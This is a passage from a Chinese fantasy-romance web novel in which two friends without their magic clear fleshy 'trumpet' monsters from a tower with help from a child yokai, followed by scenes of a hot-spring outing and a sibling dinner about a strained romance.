又几个烟圈掉落石化,幸而擦身过,直挺挺落入软软的嫩肉地板。
情急之下,越洱拖着巨钳赶往墙边,本来很膈应这些血肉大喇叭,现在只为保命。
钳子太重,挪移过程中,三两个烟圈不可避免地砸到她身上,堪堪砸到肩背,越洱立马感到喉咙里沁出一股腥甜铁锈气。
一到墙边,近距离贴着几朵血肉大喇叭,顾不上许多,越洱背靠肉墙,扎马步,把巨钳的橡胶把手微并拢,斜撑在头顶上,形成一小片三角形的空间,护住自己。
毕竟她暂时不愿躲进去血肉大喇叭口里,别给她吞进肚肠消化咯。
眼见场中央,越来越多的石圈砸地,天上飘飞的烟圈也加快速度下坠。
石圈堆叠碰撞,却没有砌高,中心那块嫩肉地板下陷,很有弹性地收容了石圈,下一秒,石圈哗啦啦地摩擦着滑落,那条灰白的“食管道”又出现了。
仿佛有一个庞大怪物在地下很深处,大张开肉嘴,越洱则站在它舌苔上、两腮边。
地面的变动使得三角形藏身处也摇晃起来,越洱背面死死抵着肉墙,她靠在两朵血肉大喇叭的嘴瓣交接处,这么狠抵,引得;两朵血肉邻居很不满意——本还寂静的喇叭肉开始动弹了,有一朵不满地磨起尖牙,喷出一股湿热鼻息要驱赶越洱。
越洱两手臂紧绷,艰难支撑起橡胶把手,一不小心杵出去半个手掌,立马被掉落的石打砸,手指都快报废。
“靠!”她疼得冒眼泪水,很凶地嚷嚷:“再磨我把你牙全拔了信不信!老实待着!”
那磨牙的血肉大喇叭一瞬间僵停了,听得懂人话似的。
好嘛,这人不怪石圈砸她,倒怪起无辜被压的喇叭大嘴来了。
陆陆续续地飘落、石化、陷入、滑进,文笔塔几乎恢复平静,千百朵血肉大喇叭乖得诡异,没有再呕出烟圈的迹象。
恰此时,一团实实在在的大石块“歘”地飞砸而来,越洱忙护头闭眼——
“啊!”
莫不是石块成精,半空化人,结结实实砸进了胶把钳两个把手正中央,那人卡进来,撞上越洱脑壳,砸她个眼冒金星。
越洱疼得叫不出,感觉头开瓢了,眼周一阵阵发黑晕,睁着也看不清。
“嘶,越洱,还行吗?真对不住——啊疼疼疼!”
黑晕渐渐消去,四周清明,包子的脸近在眼前,她像一只被树杈叉住的受伤麻雀,皱着脸把自己往下摘。
“包子?”
越洱看清那标志性的短发茬,伸手接她一把,巨钳顺势滑落倒地。
包子弯着腰捂肚子,刚才砸过来那下挺伤。
“你还好吗?受伤了吧?”越洱忙上前;扶她,脚陷入软地板,崴一咕噜。
“嘶嘶嘶,疼。”
两个人嘶嘶哈哈,仿若文笔塔里养了一千年的两条蠢蛇,才出洞就被莫名其妙打了。
两人思维搭上线,边“嘶”边看对方笑了。
“你吐信子呢嘶嘶嘶的——”包子说。
“你头被牛舌头舔几圈啊?”越洱问,“刚才你去哪儿,吓死个人?”
包子直起身,很淡定地抹掉一丝鼻血:“我也吓死了,走着走着脚突然踩空,还以为要掉下去砸死,结果进了个胃袋,挺软乎。”
“啊?!你进了谁胃袋?!”越洱看她一脸庆幸,直起鸡皮疙瘩。
包子抬手往斜上方一指:“喏,那个——诶?哪朵来着,总是就是被它们其中一个吞了。”
越洱视线跟过去,这血肉大喇叭,果然又吞灵魂又吃人。
“怪不得,你刚才就是被吐出来的吧?在它胃里没感觉自己要被消化啦?”
“emmm,”包子眉心一拧,摸了摸下巴:“有感觉,但不是消化,胃袋反而朝我身上裹东西,你看。”
包子身上果然全是透明黏液,裹出了她那“牛舔头”发型。
“这东西不就是消化液?”越洱龇牙咧嘴,使劲挠挠自己头皮。
包子却淡淡一把摸上手臂的黏液。
“啊!大姐你别!”越洱看得难受到爆。
包子却道:“真不是消化液,我感觉没啥腐蚀性。”
“好吧,”越洱往前探探身,看那灰白食道没有继续往下吞石圈,“现在怎么办,追一个送一车,这么多喇叭你葫芦能收得下吗?”
包子笑笑,掏出乾坤袋解开:“葫芦来,嗯?葫芦来!”
她越喊越大声,手心直冲冲压进乾坤袋袋口。
“法力用不来,我连钳子都挥不动。”越洱本还指望包子使法力,看来都失效了。
“这样啊。”包子毫不犹疑,一只手臂直伸进乾坤袋,“叮呤咣啷”掏来掏去,“葫芦这儿呢!”
包子掏出两个迷你小葫芦,全不似上回的普通,葫芦流光溢彩,一个纯正宝蓝色、一个通体金色,用细细的金链子串在一处,更像工艺品。
“够收就好。”
越洱话音未落,就听包子失望道:“没法力,葫芦都干不来活儿。”
还记得上次鬼市,那葫芦直接飞天悬空,变大接近三轮车体积。
“这怎么办?出也出不去,不然去纪妖局搬救兵了。”
包子没作声,“啵”一声拔开金葫芦,倾转瓶口对准最近的血肉大喇叭。
毫无动静,那血肉大喇叭甚至有些得意地冲她们扭了扭嘴瓣子。
“要不贴上去试试?”越洱心里其实已经放弃了,嘴乱说一句。
包子走近,捏着小小的金葫芦按在那朵得意的血肉大喇叭上。
“噗敷”轻响,血肉大喇叭迅速化成一抹嫣红的影子,吸进葫芦里。
“真管用耶!”包子最先欢呼出声,血肉大喇叭原先所在的那小片肉墙,彻底恢复原状,显出斑驳但正常的墙体纹理。
“正常”,多么动人的一个词,在此刻!
越洱忙道:“快,另一个解开给我,我俩一起
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收!”
宝蓝色的小葫芦抛过来,越洱接住,有样学样地拔掉塞子,对准血肉大喇叭。
收收收,快而爽,看着墙体一点点恢复正常,有种大扫除之感。
不多时,能够到的一圈,都被收好了,越洱手掌贴着墙,凉丝丝、硬邦邦的石砖石墙透来舒服凉意。
“太好了,还是这原来的墙好,天天看也不会精神失常,刚才真跟做梦一样。”
越洱嘚叭嘚叭讲话,显然放松下来,包子则不断跳起来去够更上方的血肉大喇喇叭。
还是能够到的,但再往上就碰不着了,她收了两朵,停下来找越洱。
“高处那些太难收了,我怀疑这里是文笔塔地下部分,门都不见。”
越洱一怔,确实没看见门,不是她们进来那层,这里更像嵌入地下的地基部分。
“……”
越洱唯一能想到的收容方式让她自己一阵胆寒。
几乎是难以启齿地,她边抗拒边开口道:“包子你不恐高对吧?要不就攀岩一样,抓着踩着这些大喇叭,往上边爬边收?”
她很狡猾地留余地,硬是没提个“我”字。
不止是恐高的问题,一想到要空手抓着这些血肉大喇叭的肉瓣往上爬,她就一阵恶心,这不相当于空手盘了几千朵“怪肉”吗?
但越洱也心知肚明,不可能叫包子自己收那么老些,她还留存着最后的良心,只是现实难以接受,聊作几下无用的挣扎。
果然包子很赞同:“对啊,但一边收一边消失,收到顶我俩不就掉下来了吗?还是说那时候法力会恢复?”
“我俩”,多么叫人胆寒的一个词,在此刻……
越洱清清嗓,还是说:“那就先爬到塔顶,从上往下收,就能一直踩着喇叭花下来。”
文笔塔只是在同类塔里高度不很突出,对于赤手空拳“攀岩”而上的普通人来说,还是太挑战。
别说,越洱和包子初中还真爬过一棵超高的千年老树,为了搞点“诗意”,爬上去看日出。
但那是俩人都要法力的情况下啊,那树还远不及文笔塔高。
越洱越想越怵,反悔道:“哎要不还是先收下面这圈,万一门出来了呢?我们到时候出去搬救兵。”
包子无情吐出一句:“万一门一直不出来呢?”
仅凭肉眼,很难判断她们在塔的哪个位置,更何况这塔的一层层“正常”地板都消失了。
边攀爬边收下方的还真不好弄,主要不好站稳,得牢牢抓住一处,再弓身收掉落脚点,还得保证失去落脚处后能蹬上更高的血肉大喇叭。
血肉大喇叭不是硬石头,到时候能不能蹬住还另说。
越洱又自暴自弃般:“干吧干吧,从高到低,再不开工没胆子整了。”
幸好相对面还留了好几处能直接跳起来抓到的血肉大喇叭。
越洱猛地纵跳,抱住一朵血肉大喇叭“花萼”部位,脚甩起来,搭上第二朵大喇叭,腰发力,跟条打挺子翻身的大鲤鱼一样,趴转跪,稳稳定身在肉墙墙体。
“厉害啊越洱,没少锻炼。”包子把金葫芦栓上裤腰,如法炮制地上了墙。
越洱已经开始往上攀岩,她现在还能瞟两眼地面,她们故意没收嫩肉地板,手动把残余的石圈推进灰白食道,这样万一摔了,砸下来说不定能活。
越洱试图放松,其实嘴都抽抽了:“包、包子,小心点儿哈,毕竟没修出两条命来。”
包子也有些紧张:“你也是,慢慢爬,留着命,以后进仙门再多修炼几条。”
47.妖界幼儿园
“得,还是你相信我,仙门……”
越洱话没说明,手上把把到肉、很实在地握满血肉大喇叭花瓣,生怕自己掉下去。
可手感过于奇异,还透出诡异的温热,像握了满把人皮缝制、装填牙齿的皮囊袋子。
攀爬一段,越洱忽然问:“这段时间你在家研究出什么名堂没?这东西到底什么来路?”
包子支支吾吾一阵,很含糊地说:“好像是种容器。”
“容器?”越洱顾不得害怕,回头去看包子,手里紧紧抓着喇叭肉,“装什么的容器?”
包子平时被上班磋磨得肌肉都快退化,现在却斗志昂扬,爬得极快,已经超出越洱好一截。
“装人?装灵魂?鬼也能装。”
“怎么听起来你不太确定?”
“就是不确定,主要不明白它装进去之后要干嘛。”
“可能单纯为了进食呢?”
包子微微停下动作:“那又吐出来干嘛?那些石圈是消化完的残渣?还是它们的一种攻击方式?这也太低效了……”
越洱正欲开口,却远远看见包子裤子后口袋没塞好的乾坤袋掉出来,
没往下飘落多少,乾坤袋就自己挪回了裤兜,甚至把自己往里塞了塞。
包子毫无知觉似的,一味往上攀爬,越洱忍不住道:“包子,你这乾坤袋挺好养,还会自己回家。”
“啊?”包子动作急刹车,侧身看后裤兜的乾坤袋,腾出手把袋子露出来的部分全按回去,“什么意思?”
“我看它刚才掉出来,又自己钻回去了。”
“!”
包子脸上表情出现一瞬空白,又转为惊惧。
她单手逮着系带,一下抽出乾坤袋,拎起来很暴力地晃甩。
越洱看她神色不对,立即明白过来,这不是什么特制乾坤袋,不该会动,它动了。
偏偏现在二人都法力失灵,实为揪心,该不会钻了什么妖魔鬼怪进去吧?
包子还在拼命甩晃袋子,那一片的血肉大喇叭随着她身形摇动,好似被泼猴拽着来回折腾的树藤。
越洱:……
再是什么妖魔鬼怪,脑筋也该被晃荡匀了吧。
“要不全倒出来看看?”
“不行,里面可多我的宝贝玩意儿。”包子很坚决。
不等她亲自上手掏,乾坤袋里那东西受不住了。
一个稚嫩童声传来:“别摇,别摇啦——唔,呕——”
包子脸色大变:
“你敢吐里面试试!”
她急得两指撑开乾坤袋口,眼睛都恨不得急得跳进去逮捕。
随着袋口拨开,一小片青色的影子飘飘然游逸而出。
青色小影游到半空,晃晃悠悠现出人形。
“目袋?!你什么时候钻我袋子里去的?”包子冲那小人喊,神色松解下来。
那孩子穿青衫、攥布袋,虽悬于空中,却有如平地,很是虚弱无助地斜倚在那口鼓鼓囊囊的灰布袋上,像靠了一袋土豆。
越洱自然记得这小家伙,纪妖局里,他提溜着一口袋眼珠子走来走去。
目袋晕乎乎不作答,无论包子怎么念念叨叨。
随着他慢慢转身,越洱后知后觉,猛地闭眼。
晚了,她一清二楚地记得目袋那双诡异的眼眸,一只血红、一只如紫罗兰。
他们对视了。
包子台词一下卡住,跟人捏了脖子似的:“完蛋了……”
目袋孩子气的声音传来:“哦豁,我今天忘遮眼睛了,看来你得小倒霉一下。”
越洱皱眉,还紧闭着眼,语速飞快:“到底是完蛋还是小倒霉,你们快给个准信啊!”
包子同情道:“睁眼吧,现在对视也不会更倒霉了。”
越洱睫毛颤动,缓缓睁眼,目袋已经重新站好,攥着眼珠袋子悬浮空中。
他冲越洱眨巴眨巴眼睛:“是完蛋还是小倒霉,看你个人体质的,有些人天生不走运嘛。”
这话说的,一派清脆天真,越洱向来没觉得自己多走运。
“诶?”她一下来了精神,眼睛瞪大直直看向目袋。
目袋被她眼神里闪射的精光微微震慑到,抱着袋子飞退至包子近前:“你可别想着打我哈,打我只会更倒霉。”
越洱恨不能旋转跳跃两圈,兴奋道:“包子!他能飞呀!”
目袋能飞,他法力不受文笔塔异常限制,这还有越洱她们什么事儿,直接就是用“童工”,大用特用!
包子显得分外平静:“目袋,先帮我们收收怪,你去拿越洱姐姐手里那个葫芦。”
越洱急忙一手掏出宝蓝色葫芦递朝他们那方:“目袋,我俩虽然是不留神对视上的,但忘记遮眼睛你有一点点责任吧?姐姐可不是什么锦鲤体质,我怕倒霉给我摔死咯,你帮帮忙,完事儿我请你吃好吃的!”
越洱怕目袋不愿意,一边PUA小孩儿一边利诱。
目袋那张机灵可爱的小脸蛋瞬时亮起来:“越洱姐姐,是吃抹茶绵绵冰吗?”
“当然可以!使劲吃!”越洱郑重点头,手里攥的宝蓝葫芦又往前递一些,烫手山芋似的。
目袋一听,口水直分泌,拖着袋子就飞过来,接过越洱手上的葫芦。
葫芦交出,越洱松口气:“要我帮你拿袋子吗?我在底下等你们。”
目袋摇摇头:“我自己能拿。”
“好。”越洱低头看落脚点,往下返回,“留意下包子哦,她现在没法力,别让她掉下来。”
目袋飞近,拽拽她衣角:“姐姐我带你飞下去。”
越洱乐意之至,失去法力的每一份一秒,都在怀念法力带来的好。
一大一小安全落地,地中央的灰白食道不见了,石圈也一干二净,了无痕迹。
“谢谢,辛苦你们哦,我在这儿等。”
目袋扛着一袋眼珠子直直飞上去,越洱抬头一看,包子干劲十足,一个人攀得老高。
目袋飞到塔顶,小小的身影有些看不清,越洱折身去关照自己的钳子,不知是否错觉,钳子橡胶把手变薄了,尤其是将才抵靠着“肉墙”的那处。
这些大喇叭分泌的黏液,真如包子所说,完全没腐蚀性吗?
她靠着钳子休息,百无聊赖看着包子一点点接近目袋的位置。
一得闲,脑中就自动调出边锋这个人的面貌,感情真是万般不由人,越不想想起谁,就越是想起谁。
目袋和包子交谈的声音隐约传来,空荡荡的塔楼,一个抱怨他藏乾坤袋里跟过来,一个责怪她出私活“打猎”不带自己。
打猎?打回去能吃吗?越洱困顿的脑子加入那二人讨论。
她感到生活似乎平静美妙,又似乎蕴藏风暴,如果没有边锋的忽远忽近,这种平静也许站得住脚。
不,如果没有失业的威胁,任由边锋来去,她也是自由平静的。
出去真的得厚着脸皮去蹭蹭劳山风那两个事务所,或者考证进纪妖局当清洁工,还能常常见到包子呢。
生存焦虑覆盖了她对边锋的冥思苦心,再次再次也能找到个糊口工作的念头又给她喂一颗定心丸。
活着就行,出卖□□出卖灵魂之外,什么工作都能干,这是越洱的人生信条。
在她念头第十几次转到“一声不吭边锋是不是有毛病”、“纪妖局那个清洁工位置不会被别人先抢走吧”时,目
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袋先降到近处。
随着他熟练地一按一收,文笔塔原先的门显形了。
虽说地板和楼梯还是不见,但不妨碍越洱高兴:“我们能出去啦!”
随之包子兴奋的声音传来:“越洱,找到啦!从我家逃跑那只,它小舌不是被你拽断了吗,要不我都认不出来。”
越洱咽一口口水,她小舌幻痛,鬼市那晚,空无一人的漆黑客栈突然冒出一张血盆大口,纯为自保。
可现在看这些血肉大喇叭也没伤害力,反而能通人性般,还会怪越洱压痛拽痛了它们,越洱忍不住地愧疚。
今天被它们吐出来的石圈圈砸得要吐血,手指也差点报废,算报复回来了吧?
越洱想到包子说血肉大喇叭似乎是种【容器】,这世上真有什么物种,天生就来当容器的吗?
哪怕是最平凡的妖怪、最卑微的蚂蚁,也不是专门来“承载”某样东西的吧。
世上的容器,都是被“打造”出来的、被塑造使用的。
如果它们是毫无理由、从来都这么活的物种,那么吞人、吞鬼、吞灵魂都可聊作正常行为。
但如果它们是被打造出来的容器,那么吞人、吞鬼、吞灵魂有何好处?
越洱忽然朝包子问:“包子,纪妖局有没有教什么法子,让人和妖怪通神识?”
武器原是“死物”,看似最不可能有意识的东西,通过训练磨合,也都和使用者通上神识了,那妖怪呢?
“没有吧。”
目袋插嘴道:“和你们修仙的一样,用通灵阵呐!”
“这么说,这些血肉大喇叭也用通灵者交流?”
目袋有些急切地否定道:“不是,你好笨哦,当然只有高级妖怪,脑子发育和你差不多、法力和你也差不多的妖怪,才会使通灵阵啦!”
越洱一噎,确实,不然要纪妖局研究那么多干嘛,直接通灵阵聊聊,全整明白了。
“受教了,目老师。”
目袋得意地哼唧两声,甩甩袋子去包子那面帮收。
不多时,全塔的血肉大喇叭全数收进葫芦。
目袋携着包子落地,包子眼神清亮,颇有越干越精神之意。
她把葫芦口塞子按紧,雀跃道:“我这边都收了999只,目袋,你葫芦里多少?”
宝蓝葫芦一开始在越洱手里,一只没收,越洱也好奇目袋收了多少只,毕竟目袋更快。
目袋却低眉搭眼,回避二人目光:“我、我没数。”
包子大大咧咧:“我不是听你一直小声数吗?我俩停下来拌嘴那会儿也没收,不影响计数——”
包子输出戛然而止,一瞥眼,对上越洱目光。
不消通灵阵,此时此刻,她俩心有灵犀般:难道目袋这小子,压根不会数数?
越洱凑到包子耳边小小声说:“别为难孩子了,兴许幼儿园没教呢,妖界有没有幼儿园?”
包子点点头,随即蹲到和目袋平齐的高度,打哈哈道:“哈哈,人之常情嘛,我都是瞎数的,管它几只呢?”
越洱看目袋小耳朵红彤彤,也转移话题:“你们好厉害,这么快全给收了,我跟着沾光。诶,这楼梯地板怎么还不出来?”
三人站立之处,还是口腔软肉一样的地板。
越洱温声哄目袋:“目袋,葫芦可以给姐姐用下吗?”
目袋悄没声递过葫芦,还沉浸在数数带来的冲击中。
越洱把葫芦口贴上地面,葫芦陷进软肉,下一秒,奇异的地板化成阵阵粉色轻烟,骨碌碌滚进宝蓝葫芦。
地板恢复正常,楼梯和每层层天花板出现。
“回家咯!”
“吃好吃的去咯!”
48.处处藏娇
出塔时雨开了,天还很蓝,两道彩虹从天上挂到文笔塔塔尖,一道鲜明、一道疏淡。
目袋开心得不行,趁没人上来,非要把眼球珠子放出来玩。
袋口一松,几百个眼球骨碌碌冲飞出来,有几个冲得急,掉在青砖上裹了雨水和苔藓,还晓得嫌弃,一个个飞起来把自己甩干净。
随后只敢漂在空中玩了。
目袋咯咯笑着四处追眼球,两只小手啪嗒合上,像家门口草坪上追逐肥皂泡泡的小孩儿。
“确定了,幼儿园没毕业。”越洱道。
包子突然使坏:“目袋,记得数数一共多少眼珠子哦,不然跑了你都不知道,一会儿我考考你。”
听到“一会儿我考考你”,目袋瞬间焦虑起来,小孩边焦虑边玩,冲包子嘟囔一声:“它们才不会跑。”
越洱看了下时间,比他俩更担心,一只血肉大喇叭跑了,来文笔塔整出这么多同伴,到底是跟狼似的呼朋引伴,还是一下子繁衍出这么多来。
现在两个葫芦里至少收了2000只血肉大喇叭,万一都跑了还得了?
她不愿意扫小孩玩兴,戳戳包子悄声说:“周六纪妖局还管收吗?一会儿我们先把葫芦带过去,省得它们再跑出来惹祸。”
包子憋了半天,才说:“我到时候交个一两只给他们就成,放心吧,这葫芦安全得很,和我心志连接的。”
“嗯?”
“就是说关在葫芦里的东西,除非我心甘情愿放出来,否则它们根本不可能出来,哪怕外人拔了塞子,也出不来。”
“这么好使!”越洱先叹道。
包子笑哼哼:“当然,这次跑出来那只,是晚上趁我睡着从房子里跑的,早知道它这么不老实我就收葫芦里再睡觉。”
越洱脑海里流畅衔接出一副画面,包子躺在床上酣睡,一个身披血袍、清瘦如豆芽菜的血色大喇叭,像复古音响似的开口对着床上那人。
真渗得慌,人还是不要接受度太高。
只是她晓得包子爱研究这些,初中还捡过竹节虫怪、小蜗牛怪一类的小妖到宿舍藏着把玩。
她懒得干涉,联想到目袋钻进包子乾坤袋,星期五待到星期六,还一路跟过来,包子都毫无知觉。
越洱就忍不住吐槽道:“你这屋子、葫芦、口袋,处处藏娇啊,命这么好,纪妖局局长知不知道?”
包子笑了:“他家说不好比我家还能藏娇呢。”
等目袋玩得差不多,他们来到【你的安全屋】,白鸟开的,越洱记得菜单上有很多甜品和饮品,自然也有绵绵冰可选。
白鸟不在,但总算长个记性,没直接打开门户,而是雇来个幽灵妹子当店员。
幽灵比鬼魂更适应地面生活,普通人用肉眼也能看见他们,虽说幽灵不算常见吧,但也没人遇上就大惊小怪了。
幽灵妹子很酷,很正经穿了侍者制服,话不多,给她们附赠一碟樱桃黑森林蛋糕,让“试试看”,就走了。
包子这个平日上桌眼里只有吃喝的人,眼睛不打转地盯着人家,目袋则忍不住颠颠跟着,很调皮地从幽灵妹子右边小腿穿越过去。
他跑过去的瞬间,幽灵妹子像一个水做的雕塑,仅仅涟漪波动,完全没有阻挡力。
越洱和包子抢上前拽回目袋,一个劲儿道歉,幽灵妹子表示没关系,她盯着目袋的眼睛多看了几秒。
幽灵应该不会倒霉吧?
回到座位时,苹果树簌簌摇动,花和叶落下,幻化出两个精灵,给客人唱歌。
“啊,他们回来了啊。”上回还是和边锋边沁听的演奏。
这个特定姓氏一出,越洱忍不住摸出手机,划过所有置顶,【亲完就跑】四个字跳出来。
这个备注后面,跟了个欲盖弥彰的免打扰,小铃铛扛斜杠。
一条消息也没有,越洱看得心烦,直接删除了这个对话框。
段飞烨那边也没消息,没人喊越洱回去上班,越莫管那事儿有得够调查一阵了。
目袋吃着吃着,和他坐一边长椅的袋子闹腾起来。
小孩不得不停下挖冰沙的小勺,解开袋子,煞有其事冲着里头说:“只许出来一个哦,不然耳朵姐姐就穷了。”
“耳朵”姐姐的耳朵动了动,随他怎么叫了。
一只黑白分明、圆溜溜的眼珠子脱颖而出,不慌不忙飘上桌子,坐落在一个小小蛋挞托上。
“耳朵姐姐,它可以吃吗?”
越洱笑得眉眼弯弯:“吃吧吃吧,别客气哈。”
那小眼珠子飘起来,隔空给她鞠躬似的,往下转了转面,逗得越洱忍俊不禁。
随后眼珠子回到蛋挞托上,和目袋抢那碟樱桃黑森林蛋糕。
一小团蛋糕飞近,还没靠上眼珠子,就不见了,吃掉了。
目袋没拿叉子的那小手挡在嘴边,悄声对她俩说:“不给吃就带头闹事,没办法。”
他一副故作成熟的口吻,衬着嫩生生的小脸蛋,更显可爱了,那过于鲜明的紫罗兰、血红眼眸也分外招人稀罕。
越洱问:“目袋,刚在文笔塔,怎么你法力不受限制啊?”
目袋吃得小嘴花猫猫,摇头晃脑表示:“什么都限不住我,我法力不像你们……”
小孩不说了,估计吃越洱嘴短,一下乖不少:“总之,这些对我来说,都是小蛋糕。”
“小蛋糕?”
“是啊,小cake而已啦。”
“……多吃点儿,小蛋糕不够再点。”
三人吃了甜点,又辗转到一家融合料理,选择多,照顾小孩胃口。
临别前,包子抱着目袋,问越洱:“真不去我家住,反正这段时间得闲,一起有个伴儿。”
越洱摇摇头,她真怕了这些血肉大喇叭,主要这段时间想自己待着理理感情和工作上的事,就不去朋友面前伤春悲秋了。
目袋忽然挣脱包子怀抱,倾身啵了越洱脸颊一口:“耳朵姐姐,这个只能保你7天不倒霉,但和我对视要倒霉一个月,自求多福吧。”
好一个自求多福,越洱逗他:“你的啵啵这么神奇哇,那啵五下好啦,保我一个月平安。”
目袋小脸“刷”地红了,靠回包子肩膀,小奶音闷闷地传来:“这个又不能叠加。”
就这么回家又过几天,越洱咬咬牙报了纪妖局“清洁工岗位”要求的证书培训班,没事儿做就考考证吧,一天才去三小时。
闲暇时,她开一辆二手小电车载着小狗忙忙在城市郊区四处玩。
小狗捡回家第一年,是越洱经济最紧巴巴、时间也最压缩的时候,但不捡回来它就该死路边了。
带去宠物医院,医生都说这小狗才一个多月,眼睛还透出一点点蓝膜的样子。
当时她忙得团团转,家里白天几乎没人,越洱自觉对不起小狗,时间充裕起来就愿意带它到宽敞没人的地方多跑跑,撒欢玩儿。
收到边沁消息时,越洱正捏着火钳捡狗屎,特意买的,这样就不用戴手套上手捡。
边沁:【越姐,温泉按摩,去不去?坏笑.jpg】
越洱这才注意到,又一周过去,边沁都放假休息了。
越洱:【走着!】
*
“你也太会找地方了,好舒服。”
俩人已经下温泉,挺大一个,但这一潭就她俩泡。
透而蓝的温
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泉水,漂着玫瑰花瓣。
边沁细细看了越洱一阵,盯得她都不自在了:“越姐,几天不见,你头发长好长了。”
越洱随手摸一把发尾,已经从锁骨长到胸口高度。
“还真是。”
“这段时间休息得好吗,心情怎么样?”
越洱舌尖打转的话咽下去,怎么说?本来还过得去,因为你哥,有点过不去?
“挺好的,你们挺忙吧?”
越洱忍住不问边锋,但还是说成“你们”。
哪知道边沁根本没往那边想,她很自然以为越洱在关心法力部的事,吧嗒吧嗒给她讲了指挥组一些趣闻。
又说罗成荒撞了人,对方索赔20万,她老公转钱让她赔付,结果她硬是把那钱花了。
最后她公婆不得不又出一份钱。
联合调查组找上罗成荒,目前,罗成荒停职接受调查,陆锁仁逃亡在追捕。
后面这些,越洱昨晚收到段飞烨的邮件了,大概都清楚。
她们泡得身子都松松软软,暖融融地上了岸,又冲澡、换衣服,走过长长的回廊,去按摩。
越洱脸搁在按摩床掏空的洞里,迷迷糊糊正要睡着。
突然听一阵不停歇的震动,是边沁手机。
边沁让按摩的小姐姐帮递一下,打着哈欠姐电话:“喂?”
“啊?你回来啦,我还说怎么这么久不见你……行,不用我接你吧?”
“城北那家?那你请客?我和越姐在按摩呢,你先去多点些菜。”
电话那边似乎沉默一阵,看来是边锋没错。
越洱虽说这大半个月都禁不住要想起这个人,但越想越磋磨心性,现在是万万不想见他的。
开玩笑,莫名其妙亲上来,又一声不吭蒸发这么久,不就是拿她当猴耍吗?
越洱一下不困了,抬起脖子朝边沁摆摆手,压着声音说:“我一会儿有事,你们吃,别管我。”
“啊?”听她压低声音,边沁也不由自主小声起来,还顺手盖住了手机听筒和收音部分,“吃了再去办呗,什么事不得先填饱肚子。”
越洱坚持道:“真不用麻烦,我提前约好的课,那老师挺忙的。”
边沁不大信似的看她一眼,但不再多说什么,只放开捂着电话的手:“越姐有事情,那你看着点吧,提前订一份牛舌哈,我怕过去的时候没有了。”
电话那边又说了两句什么,挂断了。
越洱松一口气,同时不免有些失落,她和边沁还没聊够呢,刚讲到指挥组某婚外情的八卦,由于技师小姐姐听得太起劲,边沁没敢讲完。
而且今天她完全没什么课,特意留出时间找边沁玩,现在却因为自己那点小心思,折腾得又找借口又推辞。
出了温泉按摩馆,边沁非要在便利店给她买玫瑰糖和牛奶:“你别整得低血糖了,什么课啊不吃东西就去,能扛住吗?”
越洱笑笑:“不是活动的,放心,你也快去吧,不早啦。”
边沁挺无奈:“那你别忘记吃晚饭哈,我约你出来还让人饿着肚子,我哥不得说我。”
他才不会呢。
越洱故意看一眼时间:“哎呀,差不多了,回头聊啊,不听完这八卦,我抓心挠肝。”
目送越洱走近地铁站,边沁才回过味来,越洱这么赶时间,选做地铁?
直接一个闪现过去不就得了?
随后她回顾二人对话,从头至尾,越洱没提没问边锋一个字。
她俩以前聊天,每次都不免要调侃边锋两句,今天越洱跟字典里没这个人似的。
说起来,边锋去卧底训练大半月了,越洱没什么想知道的?
49.惹火
边沁打了辆无人驾驶的飞行器,今天又是泡温泉又是按摩,精力正好,她不想闪现费法力。
到【南山居】的时候,边锋已经坐包间里等挺久了。
“嗨,老哥。”边沁转进屏风。
边锋连手都没抬,意味不明地扫了她身后一眼,睫毛垂下去,说:“坐吧,看看还要不要加什么。”
【南山居】私房菜。
边沁拈起一小片牛舌,按在小石炉上烤。
边锋消瘦了些。
兄妹俩有一搭没一搭聊,边沁突然问:“你和越姐怎么啦?闹别扭?”
边锋动作一顿,喝了口冰水说:“谁说的?”
“没闹?那越姐怎么不想和你吃饭?你惹人家了吧。”
边锋眼神有些躲避,含了块冰在舌尖顶:“你惹才对,和你在一处怎么都请不过来?”
边沁不听他这些:“喜欢就好好追呗,纠纠结结的,把人惹跑了。”
一起长大的,瞒不过去,边锋干脆闷声不答。
吃了一会儿,他才悠悠开口:“泡温泉好玩儿吗?”
边沁故意道:“挺好,你不是去过么,和原来一样。”
“……”,边锋又咽下一口冰水,“没聊聊天?”
“聊啊,从头到尾没停过,嘴都讲干了,诶那什么,青稞酒递给我下,尝尝。”
一小壶酒,陶罐一样盛着。
边沁大概知道他想听什么,就是故意不提,非等他自己问不可。
从小到大,她也算见证过哥哥几段感情,越洱和前面的几位,风格还真不像。
再小些,他们还会聊两句感情的事,上班以后就几乎没聊过,主要边锋也挺久没谈了,边沁更是,姑妈都说她“挑得很”。
等了半天,边锋没冒出一个字,给边沁气笑了,直接丢一句:“提都没提你。”
哪想边锋点点头,很淡地回:“哦,我知道。”
“你知道个鬼,装货。”
边锋被怼了也不难受,笑两声:“确实挺装。”
边沁才想到:“之前你那花怎么送家里来了,快枯完了都。不会真是送我的吧?”
“啊……没事,点缀点缀屋子,枯了就扔掉吧。”
“浪费钱吧你就,以前你住家的时候怎么不点缀点缀。”
边锋把筷子一搁:“说到这个,我估计过久就搬回来。”
“啊?”
边锋一挑眉:“怎么,不欢迎哥哥我回家?自己单住几天可爽吧,心都住野了。”
边沁脸颊边那标致的小酒窝笑出来:“还真是,我一个人住大屋子可爽。你怎么,折腾着搬出去,现在又不想住越姐家对面啦?”
边锋脸上看不出什么表情:“没必要了,回家住,下楼五分钟就到法力部。”
“哦对!你先别忙搬,姑妈说古琦想来住段时间,我差点忘了。”
“她现在做什么工作,太忙了,好久没问。”
“我也不清楚。”
“好吧,你俩住呗。”
不料边沁摆摆手指头:“Nono,姑妈可说了,古琦要去你那边住。”
“跟我住……不方便吧,你们两个女生,住大房子呗,方便,还宽敞。”边锋皱皱眉道。
“我也这么说的,但古琦说她准备在你们那儿附近找工作,不来家里。”
“直接让她租房好了。”
“那你自己跟姑妈说,她反正也就住半把月,我不好开口。”
二人的姑妈边影连,是爸爸亲妹妹,也是边家父母死后,唯一给兄妹俩照顾的人。
古琦比边沁小一些,是边影怜27岁那年捡来的孩子,这么些年,和亲妹妹也差不多。
确实不好拒绝,至少不好拒绝姑妈,边锋无奈地叹口气:“行吧,先这样,反正接下来我也忙,不怎么待屋里。”
*
越洱一和边沁分开,刚进地铁站,脚崴了,没红没肿,就是贼痛。
她一瘸一拐进11号线,坐两站,转8号线去了。
她现在很需要些好运,掐指一算,目袋的啵啵正好过去一星期,倒霉得也太迅速了,上回她和目袋、包子挥别的时间,大概就是刚刚她和边沁挥别的时间,果然7乘以24小时一过就倒霉。
越洱不丧,她坐在8号线地铁车厢,饶有趣味地琢磨:目袋这孩子要是属性再强些,是不是可以借来整蛊敌人。
